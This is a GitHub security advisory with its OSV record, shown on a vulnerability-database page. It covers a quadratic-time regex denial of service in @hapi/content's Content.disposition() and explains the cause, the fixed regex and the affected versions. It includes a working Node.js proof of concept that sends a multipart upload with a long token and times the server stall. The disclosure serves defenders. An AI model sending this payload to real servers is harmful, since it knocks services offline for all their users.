GHSA-8494-F6MR-CJPV
Vulnerability from github – Published: 2026-10-30 23:10 – Updated: 2026-10-30 23:10Summary
Content.disposition() takes quadratic time when a Content-Disposition parameter contains a long token without =. One unauthenticated multipart request can block the Node.js event loop for several minutes.
Details
Content.disposition() reads the parameters with a global regular expression in String.prototype.replace():
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g
The parameter name part ([^\=\*\s]+) has no anchor. When a run of name characters has no = after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.
@hapi/pez calls Content.disposition() on the header of every part in a multipart/form-data body. In hapi, this occurs on each route with payload.multipart enabled, before the route handler and before any validation. The only size limit is the route payload.maxBytes, which is 1 MB by default.
The fix adds an alternative that matches the full run of name characters when no = follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))|[^\=\*\s]+/g
Every release from 3.0.6 (published as content) up to and including @hapi/content 6.0.2 is affected.
Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low payload.maxBytes on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.
Proof of concept
Install @hapi/hapi with @hapi/content 6.0.2, then run:
const Hapi = require('@hapi/hapi');
const Net = require('net');
const attack = (port, n) => new Promise((resolve) => {
const body = `--x\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--x--\r\n`;
const req = `POST /upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=x\r\nContent-Length: ${Buffer.byteLength(body)}\r\nConnection: close\r\n\r\n${body}`;
const start = process.hrtime.bigint();
let res = '';
const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));
socket.on('data', (chunk) => res += chunk);
socket.on('close', () => resolve(`${n} byte token HTTP ${res.split(' ')[1]} ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));
});
(async () => {
const server = Hapi.server({ host: '127.0.0.1', port: 7001 });
server.route({
method: 'POST',
path: '/upload',
options: {
auth: false,
payload: { multipart: { output: 'data' }, parse: true }
},
handler: () => ({ ok: true })
});
await server.start();
for (const n of [32000, 64000, 128000]) {
console.log(await attack(7001, n));
}
await server.stop();
})();
With @hapi/content 6.0.2, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:
32000 byte token HTTP 200 0.424 s
64000 byte token HTTP 200 1.670 s
128000 byte token HTTP 200 7.173 s
The reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default payload.maxBytes.
With @hapi/content 6.0.3:
32000 byte token HTTP 200 0.011 s
64000 byte token HTTP 200 0.003 s
128000 byte token HTTP 200 0.004 s
1024000 byte token HTTP 200 0.013 s
Impact
This is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to Content.disposition(). An unauthenticated attacker sends one upload request of normal size, and the Node.js process stops answering all clients for seconds to minutes. A small number of these requests keeps the service unavailable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.2"
},
"package": {
"ecosystem": "npm",
"name": "@hapi/content"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "content"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.6"
},
{
"last_affected": "4.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-119202"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T23:10:13Z",
"nvd_published_at": "2026-10-29T21:17:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`Content.disposition()` takes quadratic time when a `Content-Disposition` parameter contains a long token without `=`. One unauthenticated multipart request can block the Node.js event loop for several minutes.\n\n### Details\n\n`Content.disposition()` reads the parameters with a global regular expression in `String.prototype.replace()`:\n\n```js\n/([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;\u0027\"\\s]+\\\u0027[\\w-]*\\\u0027[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))/g\n```\n\nThe parameter name part `([^\\=\\*\\s]+)` has no anchor. When a run of name characters has no `=` after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.\n\n`@hapi/pez` calls `Content.disposition()` on the header of every part in a `multipart/form-data` body. In hapi, this occurs on each route with `payload.multipart` enabled, before the route handler and before any validation. The only size limit is the route `payload.maxBytes`, which is 1 MB by default.\n\nThe fix adds an alternative that matches the full run of name characters when no `=` follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.\n\n```js\n/([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;\u0027\"\\s]+\\\u0027[\\w-]*\\\u0027[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))|[^\\=\\*\\s]+/g\n```\n\nEvery release from `3.0.6` (published as `content`) up to and including `@hapi/content` `6.0.2` is affected.\n\nWorkarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low `payload.maxBytes` on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.\n\n### Proof of concept\n\nInstall `@hapi/hapi` with `@hapi/content` `6.0.2`, then run:\n\n```js\nconst Hapi = require(\u0027@hapi/hapi\u0027);\nconst Net = require(\u0027net\u0027);\n\nconst attack = (port, n) =\u003e new Promise((resolve) =\u003e {\n\n const body = `--x\\r\\nContent-Disposition: form-data; name=\"f\"; ${\u0027a\u0027.repeat(n)}\\r\\n\\r\\nv\\r\\n--x--\\r\\n`;\n const req = `POST /upload HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nContent-Type: multipart/form-data; boundary=x\\r\\nContent-Length: ${Buffer.byteLength(body)}\\r\\nConnection: close\\r\\n\\r\\n${body}`;\n const start = process.hrtime.bigint();\n let res = \u0027\u0027;\n const socket = Net.connect(port, \u0027127.0.0.1\u0027, () =\u003e socket.write(req));\n socket.on(\u0027data\u0027, (chunk) =\u003e res += chunk);\n socket.on(\u0027close\u0027, () =\u003e resolve(`${n} byte token HTTP ${res.split(\u0027 \u0027)[1]} ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));\n});\n\n(async () =\u003e {\n\n const server = Hapi.server({ host: \u0027127.0.0.1\u0027, port: 7001 });\n server.route({\n method: \u0027POST\u0027,\n path: \u0027/upload\u0027,\n options: {\n auth: false,\n payload: { multipart: { output: \u0027data\u0027 }, parse: true }\n },\n handler: () =\u003e ({ ok: true })\n });\n\n await server.start();\n for (const n of [32000, 64000, 128000]) {\n console.log(await attack(7001, n));\n }\n\n await server.stop();\n})();\n```\n\nWith `@hapi/content` `6.0.2`, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:\n\n```text\n32000 byte token HTTP 200 0.424 s\n64000 byte token HTTP 200 1.670 s\n128000 byte token HTTP 200 7.173 s\n```\n\nThe reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default `payload.maxBytes`.\n\nWith `@hapi/content` `6.0.3`:\n\n```text\n32000 byte token HTTP 200 0.011 s\n64000 byte token HTTP 200 0.003 s\n128000 byte token HTTP 200 0.004 s\n1024000 byte token HTTP 200 0.013 s\n```\n\n### Impact\n\nThis is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to `Content.disposition()`. An unauthenticated attacker sends one upload request of normal size, and the Node.js process stops answering all clients for seconds to minutes. A small number of these requests keeps the service unavailable.",
"id": "GHSA-8494-f6mr-cjpv",
"modified": "2026-10-30T23:10:13Z",
"published": "2026-10-30T23:10:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119202"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/hapijs/content"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/content/releases/tag/v6.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.